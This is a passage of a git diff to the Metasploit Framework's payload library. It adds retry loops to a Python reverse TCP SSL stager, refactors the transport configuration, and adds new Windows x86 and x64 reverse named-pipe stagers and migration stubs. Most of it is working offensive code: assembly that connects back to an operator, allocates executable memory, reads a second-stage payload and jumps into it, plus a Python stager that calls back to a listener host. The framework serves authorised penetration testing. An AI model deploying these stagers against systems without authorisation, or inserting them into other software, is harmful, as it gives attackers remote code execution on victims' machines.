+          aliases: ['ReverseConnectRetries']),
         OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
       ], self.class)
   end
@@ -32,7 +33,7 @@ module Payload::Python::ReverseTcp
       port:        datastore['LPORT'],
       host:        datastore['LHOST'],
       retry_count: datastore['StagerRetryCount'],
-      retry_wait:  datastore['StagerRetryWait'],
+      retry_wait:  datastore['StagerRetryWait']
     }
 
     generate_reverse_tcp(conf)
diff --git a/lib/msf/core/payload/python/reverse_tcp_ssl.rb b/lib/msf/core/payload/python/reverse_tcp_ssl.rb
index e16eaf003a..ee65afe0ab 100644
--- a/lib/msf/core/payload/python/reverse_tcp_ssl.rb
+++ b/lib/msf/core/payload/python/reverse_tcp_ssl.rb
@@ -15,6 +15,14 @@ module Payload::Python::ReverseTcpSsl
 
   include Msf::Payload::Python
   include Msf::Payload::Python::ReverseTcp
+  def initialize(*args)
+    super
+    register_advanced_options([
+        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
+          aliases: ['ReverseConnectRetries']),
+        OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
+      ], self.class)
+  end
 
   #
   # Generate the first stage
@@ -22,7 +30,9 @@ module Payload::Python::ReverseTcpSsl
   def generate
     conf = {
       port:        datastore['LPORT'],
-      host:        datastore['LHOST']
+      host:        datastore['LHOST'],
+      retry_count: datastore['StagerRetryCount'],
+      retry_wait:  datastore['StagerRetryWait']
     }
 
     generate_reverse_tcp_ssl(conf)
@@ -42,10 +52,29 @@ module Payload::Python::ReverseTcpSsl
 
   def generate_reverse_tcp_ssl(opts={})
     # Set up the socket
-    cmd  = "import ssl,socket,struct\n"
-    cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
-    cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
-    cmd << "s=ssl.wrap_socket(so)\n"
+    cmd  = "import ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
+    if opts[:retry_wait].blank? # do not retry at all (old style)
+      cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
+      cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+      cmd << "s=ssl.wrap_socket(so)\n"
+    else
+      if opts[:retry_count] > 0
+        cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
+      else
+        cmd << "while 1:\n"
+      end
+      cmd << "\ttry:\n"
+      cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2
+      cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+      cmd << "\t\ts=ssl.wrap_socket(so)\n"
+      cmd << "\t\tbreak\n"
+      cmd << "\texcept:\n"
+      if opts[:retry_wait].to_i <= 0
+        cmd << "\t\tpass\n" # retry immediately
+      else
+        cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
+      end
+    end
     cmd << py_send_uuid if include_send_uuid
     cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
     cmd << "d=s.recv(l)\n"
diff --git a/lib/msf/core/payload/r.rb b/lib/msf/core/payload/r.rb
new file mode 100644
index 0000000000..730b01adde
--- /dev/null
+++ b/lib/msf/core/payload/r.rb
@@ -0,0 +1,14 @@
+# -*- coding: binary -*-
+require 'msf/core'
+
+module Msf::Payload::R
+
+  def initialize(info = {})
+    super(info)
+  end
+
+  def prepends(buf)
+    buf
+  end
+
+end
diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb
index 699e884714..1f2ff91aaf 100644
--- a/lib/msf/core/payload/stager.rb
+++ b/lib/msf/core/payload/stager.rb
@@ -165,8 +165,6 @@ module Msf::Payload::Stager
     # If the stage should be sent over the client connection that is
     # established (which is the default), then go ahead and transmit it.
     if (stage_over_connection?)
-      opts = {}
-
       if respond_to? :include_send_uuid
         if include_send_uuid
           uuid_raw = conn.get_once(16, 1)
diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb
index 3eb12a7037..c59c85577e 100644
--- a/lib/msf/core/payload/transport_config.rb
+++ b/lib/msf/core/payload/transport_config.rb
@@ -11,31 +11,35 @@ module Msf::Payload::TransportConfig
   include Msf::Payload::UUID::Options
 
   def transport_config_reverse_tcp(opts={})
+    ds = opts[:datastore] || datastore
     config = transport_config_bind_tcp(opts)
-    config[:lhost] = datastore['LHOST']
+    config[:lhost] = ds['LHOST']
     config
   end
 
   def transport_config_reverse_ipv6_tcp(opts={})
+    ds = opts[:datastore] || datastore
     config = transport_config_reverse_tcp(opts)
     config[:scheme] = 'tcp6'
-    config[:scope_id] = datastore['SCOPEID']
+    config[:scope_id] = ds['SCOPEID']
     config
   end
 
   def transport_config_bind_tcp(opts={})
+    ds = opts[:datastore] || datastore
     {
       scheme: 'tcp',
-      lhost:  datastore['LHOST'],
-      lport:  datastore['LPORT'].to_i
-    }.merge(timeout_config)
+      lhost:  ds['LHOST'],
+      lport:  ds['LPORT'].to_i
+    }.merge(timeout_config(opts))
   end
 
   def transport_config_reverse_https(opts={})
+    ds = opts[:datastore] || datastore
     config = transport_config_reverse_http(opts)
-    config[:scheme] = datastore['OverrideScheme'] || 'https'
-    config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
-                                               datastore['HandlerSSLCert'])
+    config[:scheme] = ds['OverrideScheme'] || 'https'
+    config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
+                                               ds['HandlerSSLCert'])
     config
   end
 
@@ -50,27 +54,38 @@ module Msf::Payload::TransportConfig
       uri = luri + generate_uri_uuid(sum, opts[:uuid])
     end
 
+    ds = opts[:datastore] || datastore
     {
-      scheme:      datastore['OverrideScheme'] || 'http',
-      lhost:       opts[:lhost] || datastore['LHOST'],
-      lport:       (opts[:lport] || datastore['LPORT']).to_i,
+      scheme:      ds['OverrideScheme'] || 'http',
+      lhost:       opts[:lhost] || ds['LHOST'],
+      lport:       (opts[:lport] || ds['LPORT']).to_i,
       uri:         uri,
-      ua:          datastore['MeterpreterUserAgent'],
-      proxy_host:  datastore['PayloadProxyHost'],
-      proxy_port:  datastore['PayloadProxyPort'],
-      proxy_type:  datastore['PayloadProxyType'],
-      proxy_user:  datastore['PayloadProxyUser'],
-      proxy_pass:  datastore['PayloadProxyPass']
-    }.merge(timeout_config)
+      ua:          ds['MeterpreterUserAgent'],
+      proxy_host:  ds['PayloadProxyHost'],
+      proxy_port:  ds['PayloadProxyPort'],
+      proxy_type:  ds['PayloadProxyType'],
+      proxy_user:  ds['PayloadProxyUser'],
+      proxy_pass:  ds['PayloadProxyPass']
+    }.merge(timeout_config(opts))
+  end
+
+  def transport_config_reverse_named_pipe(opts={})
+    ds = opts[:datastore] || datastore
+    {
+      scheme: 'pipe',
+      lhost:  ds[:pipe_host] || ds['PIPEHOST'],
+      uri:    "/#{ds[:pipe_host] || ds['PIPENAME']}"
+    }.merge(timeout_config(opts))
   end
 
 private
 
-  def timeout_config
+  def timeout_config(opts={})
+    ds = opts[:datastore] || datastore
     {
-      comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
-      retry_total:  datastore['SessionRetryTotal'].to_i,
-      retry_wait:   datastore['SessionRetryWait'].to_i
+      comm_timeout: (ds[:comm_timeout] || ds['SessionCommunicationTimeout']).to_i,
+      retry_total:  (ds[:retry_total] || ds['SessionRetryTotal']).to_i,
+      retry_wait:   (ds[:retry_wait] || ds['SessionRetryWait']).to_i
     }
   end
 
diff --git a/lib/msf/core/payload/uuid.rb b/lib/msf/core/payload/uuid.rb
index 6b439989ad..acc100406a 100644
--- a/lib/msf/core/payload/uuid.rb
+++ b/lib/msf/core/payload/uuid.rb
@@ -42,7 +42,8 @@ class Msf::Payload::UUID
     23 => ARCH_ZARCH,
     24 => ARCH_AARCH64,
     25 => ARCH_MIPS64,
-    26 => ARCH_PPC64LE
+    26 => ARCH_PPC64LE,
+    27 => ARCH_R
   }
 
   Platforms = {
@@ -69,7 +70,8 @@ class Msf::Payload::UUID
     20 => 'js',
     21 => 'python',
     22 => 'nodejs',
-    23 => 'firefox'
+    23 => 'firefox',
+    24 => 'r'
   }
 
   # The raw length of the UUID structure
diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb
index 63b9a5d651..8945ded6bb 100644
--- a/lib/msf/core/payload/windows/bind_tcp.rb
+++ b/lib/msf/core/payload/windows/bind_tcp.rb
@@ -35,7 +35,7 @@ module Payload::Windows::BindTcp
 
     # Generate the more advanced stager if we have the space
     if self.available_space && required_space <= self.available_space
-      conf[:exitfunk] = datastore['EXITFUNC'],
+      conf[:exitfunk] = datastore['EXITFUNC']
       conf[:reliable] = true
     end
 
diff --git a/lib/msf/core/payload/windows/bind_tcp_rc4.rb b/lib/msf/core/payload/windows/bind_tcp_rc4.rb
index d8cdbddb97..37657ddc8a 100644
--- a/lib/msf/core/payload/windows/bind_tcp_rc4.rb
+++ b/lib/msf/core/payload/windows/bind_tcp_rc4.rb
@@ -33,7 +33,7 @@ module Payload::Windows::BindTcpRc4
 
     # Generate the more advanced stager if we have the space
     if self.available_space && required_space <= self.available_space
-      conf[:exitfunk] = datastore['EXITFUNC'],
+      conf[:exitfunk] = datastore['EXITFUNC']
       conf[:reliable] = true
     end
 
diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb
index 7190d4f8b9..98824221e3 100644
--- a/lib/msf/core/payload/windows/meterpreter_loader.rb
+++ b/lib/msf/core/payload/windows/meterpreter_loader.rb
@@ -28,7 +28,7 @@ module Payload::Windows::MeterpreterLoader
       ],
       'Platform'      => 'win',
       'Arch'          => ARCH_X86,
-      'PayloadCompat' => { 'Convention' => 'sockedi -https', },
+      'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', },
       'Stage'         => { 'Payload'   => "" }
       ))
   end
@@ -53,9 +53,9 @@ module Payload::Windows::MeterpreterLoader
           add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
     ^
 
-    unless opts[:stageless]
+    unless opts[:stageless] || opts[:force_write_handle] == true
       asm << %Q^
-          mov [ebx], edi        ; write the current socket to the config
+          mov [ebx], edi        ; write the current socket/handle to the config
       ^
     end
 
@@ -77,12 +77,14 @@ module Payload::Windows::MeterpreterLoader
 
     # create the configuration block, which for staged connections is really simple.
     config_opts = {
-      arch:       opts[:uuid].arch,
-      exitfunk:   ds['EXITFUNC'],
-      expiration: ds['SessionExpirationTimeout'].to_i,
-      uuid:       opts[:uuid],
-      transports: opts[:transport_config] || [transport_config(opts)],
-      extensions: []
+      arch:              opts[:uuid].arch,
+      null_session_guid: opts[:null_session_guid] == true,
+      exitfunk:          ds[:exit_func] || ds['EXITFUNC'],
+      expiration:        (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
+      uuid:              opts[:uuid],
+      transports:        opts[:transport_config] || [transport_config(opts)],
+      extensions:        [],
+      stageless:         opts[:stageless] == true
     }
 
     # create the configuration instance based off the parameters
diff --git a/lib/msf/core/payload/windows/migrate.rb b/lib/msf/core/payload/windows/migrate.rb
index f9b924780e..ca94445209 100644
--- a/lib/msf/core/payload/windows/migrate.rb
+++ b/lib/msf/core/payload/windows/migrate.rb
@@ -3,3 +3,4 @@
 require 'msf/core/payload/windows/block_api'
 require 'msf/core/payload/windows/migrate_tcp'
 require 'msf/core/payload/windows/migrate_http'
+require 'msf/core/payload/windows/migrate_named_pipe'
diff --git a/lib/msf/core/payload/windows/migrate_named_pipe.rb b/lib/msf/core/payload/windows/migrate_named_pipe.rb
new file mode 100644
index 0000000000..46344e106d
--- /dev/null
+++ b/lib/msf/core/payload/windows/migrate_named_pipe.rb
@@ -0,0 +1,47 @@
+# -*- coding: binary -*-
+
+require 'msf/core'
+require 'msf/core/payload/windows/migrate_common'
+
+module Msf
+
+###
+#
+# Payload that supports migrating over Named Pipe transports on x86.
+#
+###
+
+module Payload::Windows::MigrateNamedPipe
+
+  include Msf::Payload::Windows::MigrateCommon
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'        => 'Migrate over Named Pipe transport',
+      'Description' => 'Migration stub to use over Named Pipe transports',
+      'Author'      => ['OJ Reeves'],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'win',
+      'Arch'        => ARCH_X86,
+    ))
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate_migrate(opts = {})
+    %Q^
+    start_migrate_pipe:
+      mov edi, [esi+16]         ; The duplicated pipe handle is in the migrate context.
+    signal_pipe_event:
+      push dword [esi]          ; Event handle is pointed at by esi
+      push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
+      call ebp                  ; SetEvent(handle)
+    call_pipe_payload:
+      call dword [esi+8]        ; call the associated payload
+    ^
+  end
+
+end
+
+end
diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb
index b4c6a62b91..1c9b79b562 100644
--- a/lib/msf/core/payload/windows/reverse_http.rb
+++ b/lib/msf/core/payload/windows/reverse_http.rb
@@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp
     super
     register_advanced_options([
         OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
-        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
+        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
+          aliases: ['ReverseConnectRetries']),
         OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
         OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
         OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
@@ -359,14 +360,14 @@ module Payload::Windows::ReverseHttp
         push 0x7B18062D        ; hash( "wininet.dll", "HttpSendRequestA" )
         call ebp
         test eax,eax
-        jnz allocate_memory  
-   
+        jnz allocate_memory
+
      set_wait:
         push #{retry_wait}     ; dwMilliseconds
         push 0xE035F044        ; hash( "kernel32.dll", "Sleep" )
         call ebp               ; Sleep( dwMilliseconds );
       ^
-    
+
     if retry_count > 0
       asm << %Q^
         try_it_again:
diff --git a/lib/msf/core/payload/windows/reverse_named_pipe.rb b/lib/msf/core/payload/windows/reverse_named_pipe.rb
new file mode 100644
index 0000000000..1049b96519
--- /dev/null
+++ b/lib/msf/core/payload/windows/reverse_named_pipe.rb
@@ -0,0 +1,287 @@
+# -*- coding: binary -*-
+
+require 'msf/core'
+require 'msf/core/payload/transport_config'
+require 'msf/core/payload/windows/send_uuid'
+require 'msf/core/payload/windows/block_api'
+require 'msf/core/payload/windows/exitfunk'
+
+module Msf
+
+###
+#
+# Complex reverse_named_pipe payload generation for Windows ARCH_X86
+#
+###
+
+module Payload::Windows::ReverseNamedPipe
+
+  include Msf::Payload::TransportConfig
+  include Msf::Payload::Windows
+  include Msf::Payload::Windows::SendUUID
+  include Msf::Payload::Windows::BlockApi
+  include Msf::Payload::Windows::Exitfunk
+
+  #
+  # Register reverse_named_pipe specific options
+  #
+  def initialize(*args)
+    super
+  end
+
+  #
+  # Generate the first stage
+  #
+  def generate
+    conf = {
+      name:        datastore['PIPENAME'],
+      host:        datastore['PIPEHOST'] || '.',
+      retry_count: datastore['ReverseConnectRetries'],
+      reliable:    false
+    }
+
+    # Generate the advanced stager if we have space
+    unless self.available_space.nil? || required_space > self.available_space
+      conf[:exitfunk] = datastore['EXITFUNC']
+      conf[:reliable] = true
+    end
+
+    generate_reverse_named_pipe(conf)
+  end
+
+  #
+  # By default, we don't want to send the UUID, but we'll send
+  # for certain payloads if requested.
+  #
+  def include_send_uuid
+    false
+  end
+
+  def transport_config(opts={})
+    transport_config_reverse_named_pipe(opts)
+  end
+
+  #
+  # Generate and compile the stager
+  #
+  def generate_reverse_named_pipe(opts={})
+    combined_asm = %Q^
+      cld                    ; Clear the direction flag.
+      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+      #{asm_block_api}
+      start:
+        pop ebp
+      #{asm_reverse_named_pipe(opts)}
+    ^
+    
+    #"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
+    Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
+  end
+
+  #
+  # Determine the maximum amount of space required for the features requested
+  #
+  def required_space
+    # Start with our cached default generated size
+    space = cached_size
+
+    # EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
+    space += 29
+
+    # Reliability adds some bytes!
+    space += 44
+
+    space += uuid_required_size if include_send_uuid
+
+    # The final estimated size
+    space
+  end
+
+  #
+  # Generate an assembly stub with the configured feature set and options.
+  #
+  # @option opts [Fixnum] :port The port to connect to
+  # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
+  # @option opts [Bool] :reliable Whether or not to enable error handling code
+  #
+  def asm_reverse_named_pipe(opts={})
+
+    retry_count    = [opts[:retry_count].to_i, 1].max
+    reliable       = opts[:reliable]
+    # we have to double-escape because of metasm
+    full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
+
+    asm = %Q^
+      ; Input: EBP must be the address of 'api_call'.
+      ; Output: EDI will be the handle for the pipe to the server
+
+      retry_start:
+        push #{retry_count}     ; retry counter
+        mov esi, esp            ; keep track of where the variables are
+
+      try_reverse_named_pipe:
+        ; Start by setting up the call to CreateFile
+        xor ebx, ebx            ; EBX will be used for pushing zero
+        push ebx                ; hTemplateFile
+        push ebx                ; dwFlagsAndAttributes
+        push 3                  ; dwCreationDisposition (OPEN_EXISTING)
+        push ebx                ; lpSecurityAttributes
+        push ebx                ; dwShareMode
+        push 0xC0000000         ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE)
+        call get_pipe_name
+        db "#{full_pipe_name}", 0x00
+      get_pipe_name:
+                                ; lpFileName (via call)
+        push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
+        call ebp                ; CreateFileA(...)
+
+        ; If eax is -1, then we had a failure.
+        cmp eax, -1             ; -1 means a failure
+        jnz connected
+
+      handle_connect_failure:
+        ; decrement our attempt count and try again
+        dec [esi]
+        jnz try_reverse_named_pipe
+    ^
+
+    if opts[:exitfunk]
+      asm << %Q^
+      failure:
+        call exitfunk
+      ^
+    else
+      asm << %Q^
+      failure:
+        push 0x56A2B5F0         ; hardcoded to exitprocess for size
+        call ebp
+      ^
+    end
+
+    asm << %Q^
+      ; this label is required so that reconnect attempts include
+      ; the UUID stuff if required.
+      connected:
+        xchg edi, eax           ; edi now has the file handle we'll need in future
+    ^
+
+    asm << asm_write_uuid if include_send_uuid
+
+    asm << %Q^
+        ; Receive the size of the incoming second stage...
+        push ebx                ; buffer for lpNumberOfBytesRead
+        mov ecx, esp
+        push ebx                ; buffer for lpBuffer
+        mov esi, esp
+        push ebx                ; lpOverlapped
+        push ecx                ; lpNumberOfBytesRead
+        push 4                  ; nNumberOfBytesToRead = sizeof( DWORD );
+        push esi                ; lpBuffer
+        push edi                ; hFile
+        push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
+        call ebp                ; ReadFile(...) to read the size
+    ^
+
+    if reliable
+      asm << %Q^
+        ; reliability: check to see if the file read worked, retry otherwise
+        ; if it fails
+        test eax, eax
+        jz cleanup_file
+        mov eax, [esi+4]        ; check to see if bytes were read
+        test eax, eax
+        jz cleanup_file
+      ^
+    end
+
+    asm << %Q^
+        ; Alloc a RWX buffer for the second stage
+        mov esi, [esi]          ; dereference the pointer to the second stage length
+        push 0x40               ; PAGE_EXECUTE_READWRITE
+        push 0x1000             ; MEM_COMMIT
+        push esi                ; push the newly received second stage length.
+        push 0                  ; NULL as we dont care where the allocation is.
+        push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
+        call ebp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
+        ; Receive the second stage and execute it...
+        xchg ebx, eax           ; ebx = our new memory address for the new stage
+        push ebx                ; push the address of the new stage so we can return into it
+
+      read_more:
+        ; prepare the size min(0x10000, esi)
+        mov ecx, 0x10000         ; stupid named pipe buffer limit
+        cmp ecx, esi
+        jle size_is_good
+        mov ecx, esi
+
+      size_is_good:
+        ; Invoke a read
+        push eax                ; space for the number of bytes
+        mov eax, esp            ; store the pointer
+        push 0                  ; lpOverlapped
+        push eax                ; lpNumberOfBytesRead
+        push ecx                ; nNumberOfBytesToRead
+        push ebx                ; lpBuffer
+        push edi                ; hFile
+        push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
+        call ebp                ; ReadFile(...) to read the data
+    ^
+
+    if reliable
+      asm << %Q^
+        ; reliability: check to see if the recv worked, and reconnect
+        ; if it fails
+        cmp eax, 0
+        jz read_failed
+        pop eax                 ; get the number of bytes read
+        cmp eax, 0
+        jnz read_successful
+
+      read_failed:
+        ; something failed, free up memory
+        pop eax                 ; get the address of the payload
+        push 0x4000             ; dwFreeType (MEM_DECOMMIT)
+        push 0                  ; dwSize
+        push eax                ; lpAddress
+        push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
+        call ebp                ; VirtualFree(payload, 0, MEM_DECOMMIT)
+
+      cleanup_file:
+        ; clear up the named pipe handle
+        push edi                ; named pipe handle
+        push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
+        call ebp                ; CloseHandle(...)
+
+        ; restore the stack back to the connection retry count
+        pop esi
+        pop esi
+        pop esi
+        dec [esp]               ; decrement the counter
+
+        ; try again
+        jmp try_reverse_named_pipe
+      ^
+    else
+      asm << %Q^
+        pop eax                 ; pop bytes read
+      ^
+    end
+
+    asm << %Q^
+      read_successful:
+        add ebx, eax            ; buffer += bytes_received
+        sub esi, eax            ; length -= bytes_received, will set flags
+        jnz read_more           ; continue if we have more to read
+        ret                     ; return into the second stage
+    ^
+
+    if opts[:exitfunk]
+      asm << asm_exitfunk(opts)
+    end
+
+    asm
+  end
+
+end
+
+end
diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb
index 46f7c0b744..f55de65339 100644
--- a/lib/msf/core/payload/windows/x64/bind_tcp.rb
+++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb
@@ -33,7 +33,7 @@ module Payload::Windows::BindTcp_x64
 
     # Generate the more advanced stager if we have the space
     if self.available_space && required_space <= self.available_space
-      conf[:exitfunk] = datastore['EXITFUNC'],
+      conf[:exitfunk] = datastore['EXITFUNC']
       conf[:reliable] = true
     end
 
diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb
index cd5ba7c708..257e2cc79c 100644
--- a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb
+++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb
@@ -29,7 +29,7 @@ module Payload::Windows::MeterpreterLoader_x64
       ],
       'Platform'      => 'win',
       'Arch'          => ARCH_X64,
-      'PayloadCompat' => { 'Convention' => 'sockrdi' },
+      'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' },
       'Stage'         => { 'Payload'   => "" }
       ))
   end
@@ -42,22 +42,23 @@ module Payload::Windows::MeterpreterLoader_x64
           push rbp              ; save rbp
           mov rbp, rsp          ; set up a new stack frame
           sub rsp, 32           ; allocate some space for calls.
+          and rsp, ~0xF         ; Ensure RSP is 16 byte aligned
         ; GetPC
           call $+5              ; relative call to get location
           pop rbx               ; pop return value
         ; Invoke ReflectiveLoader()
           ; add the offset to ReflectiveLoader()
-          add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
+          add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x15)}
           call rbx              ; invoke ReflectiveLoader()
         ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
           ; offset from ReflectiveLoader() to the end of the DLL
           add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
     ^
 
-    unless opts[:stageless]
+    unless opts[:stageless] || opts[:force_write_handle] == true
       asm << %Q^
-          ; store the comms socket handle
-          mov dword ptr [rbx], edi
+          ; store the comms socket or handle
+          mov [rbx], rdi
       ^
     end
 
@@ -79,12 +80,14 @@ module Payload::Windows::MeterpreterLoader_x64
 
     # create the configuration block, which for staged connections is really simple.
     config_opts = {
-      arch:       opts[:uuid].arch,
-      exitfunk:   ds['EXITFUNC'],
-      expiration: ds['SessionExpirationTimeout'].to_i,
-      uuid:       opts[:uuid],
-      transports: opts[:transport_config] || [transport_config(opts)],
-      extensions: []
+      arch:              opts[:uuid].arch,
+      null_session_guid: opts[:null_session_guid] == true,
+      exitfunk:          ds[:exit_func] || ds['EXITFUNC'],
+      expiration:        (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
+      uuid:              opts[:uuid],
+      transports:        opts[:transport_config] || [transport_config(opts)],
+      extensions:        [],
+      stageless:         opts[:stageless] == true
     }
 
     # create the configuration instance based off the parameters
diff --git a/lib/msf/core/payload/windows/x64/migrate.rb b/lib/msf/core/payload/windows/x64/migrate.rb
index 20fad5bb2d..770147cc58 100644
--- a/lib/msf/core/payload/windows/x64/migrate.rb
+++ b/lib/msf/core/payload/windows/x64/migrate.rb
@@ -3,3 +3,4 @@
 require 'msf/core/payload/windows/x64/block_api'
 require 'msf/core/payload/windows/x64/migrate_tcp'
 require 'msf/core/payload/windows/x64/migrate_http'
+require 'msf/core/payload/windows/x64/migrate_named_pipe'
diff --git a/lib/msf/core/payload/windows/x64/migrate_named_pipe.rb b/lib/msf/core/payload/windows/x64/migrate_named_pipe.rb
new file mode 100644
index 0000000000..193090f5fc
--- /dev/null
+++ b/lib/msf/core/payload/windows/x64/migrate_named_pipe.rb
@@ -0,0 +1,47 @@
+# -*- coding: binary -*-
+
+require 'msf/core'
+require 'msf/core/payload/windows/migrate_common'
+
+module Msf
+
+###
+#
+# Payload that supports migrating over Named Pipe transports on x64.
+#
+###
+
+module Payload::Windows::MigrateNamedPipe_x64
+
+  include Msf::Payload::Windows::MigrateCommon_x64
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'        => 'Migrate over Named Pipe transport (x64)',
+      'Description' => 'Migration stub to use over Named Pipe transports (x64)',
+      'Author'      => ['OJ Reeves'],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'win',
+      'Arch'        => ARCH_X64,
+    ))
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate_migrate(opts = {})
+    %Q^
+    start_migrate_pipe:
+      mov rdi, qword [rsi+16]   ; The duplicated pipe handle is in the migrate context.
+    signal_pipe_event:
+      mov rcx, qword [rsi]      ; Event handle is pointed at by rsi
+      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
+      call rbp                  ; SetEvent(handle)
+    call_pipe_payload:
+      call qword [rsi+8]        ; call the associated payload
+    ^
+  end
+
+end
+
+end
diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb
index 004db9324c..a9048731b4 100644
--- a/lib/msf/core/payload/windows/x64/reverse_http.rb
+++ b/lib/msf/core/payload/windows/x64/reverse_http.rb
@@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64
     super
     register_advanced_options([
         OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
-        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
+        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
+          aliases: ['ReverseConnectRetries']),
         OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
         OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
         OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
@@ -366,13 +367,13 @@ module Payload::Windows::ReverseHttp_x64
         call rbp
         test eax, eax
         jnz allocate_memory
-           
+
       set_wait:
         mov rcx, #{retry_wait}        ; dwMilliseconds
         mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
         call rbp                      ; Sleep( dwMilliseconds );
     ^
-    
+
 
     if retry_count > 0
       asm << %Q^
diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb
new file mode 100644
index 0000000000..b04ba63f75
--- /dev/null
+++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb
@@ -0,0 +1,283 @@
+# -*- coding: binary -*-
+
+require 'msf/core'
+require 'msf/core/payload/transport_config'
+require 'msf/core/payload/windows/x64/send_uuid'
+require 'msf/core/payload/windows/x64/block_api'
+require 'msf/core/payload/windows/x64/exitfunk'
+
+module Msf
+
+###
+#
+# Complex reverse_named_pipe payload generation for Windows ARCH_X86_64
+# ###
+
+module Payload::Windows::ReverseNamedPipe_x64
+
+  include Msf::Payload::TransportConfig
+  include Msf::Payload::Windows
+  include Msf::Payload::Windows::SendUUID_x64
+  include Msf::Payload::Windows::BlockApi_x64
+  include Msf::Payload::Windows::Exitfunk_x64
+
+  #
+  # Register reverse_named_pipe specific options
+  #
+  def initialize(*args)
+    super
+  end
+
+  #
+  # Generate the first stage
+  #
+  def generate
+    conf = {
+      name:        datastore['PIPENAME'],
+      host:        datastore['PIPEHOST'],
+      retry_count: datastore['ReverseConnectRetries'],
+      reliable:    false
+    }
+
+    # Generate the advanced stager if we have space
+    unless self.available_space.nil? || required_space > self.available_space
+      conf[:exitfunk] = datastore['EXITFUNC']
+      conf[:reliable] = true
+    end
+
+    generate_reverse_named_pipe(conf)
+  end
+
+  #
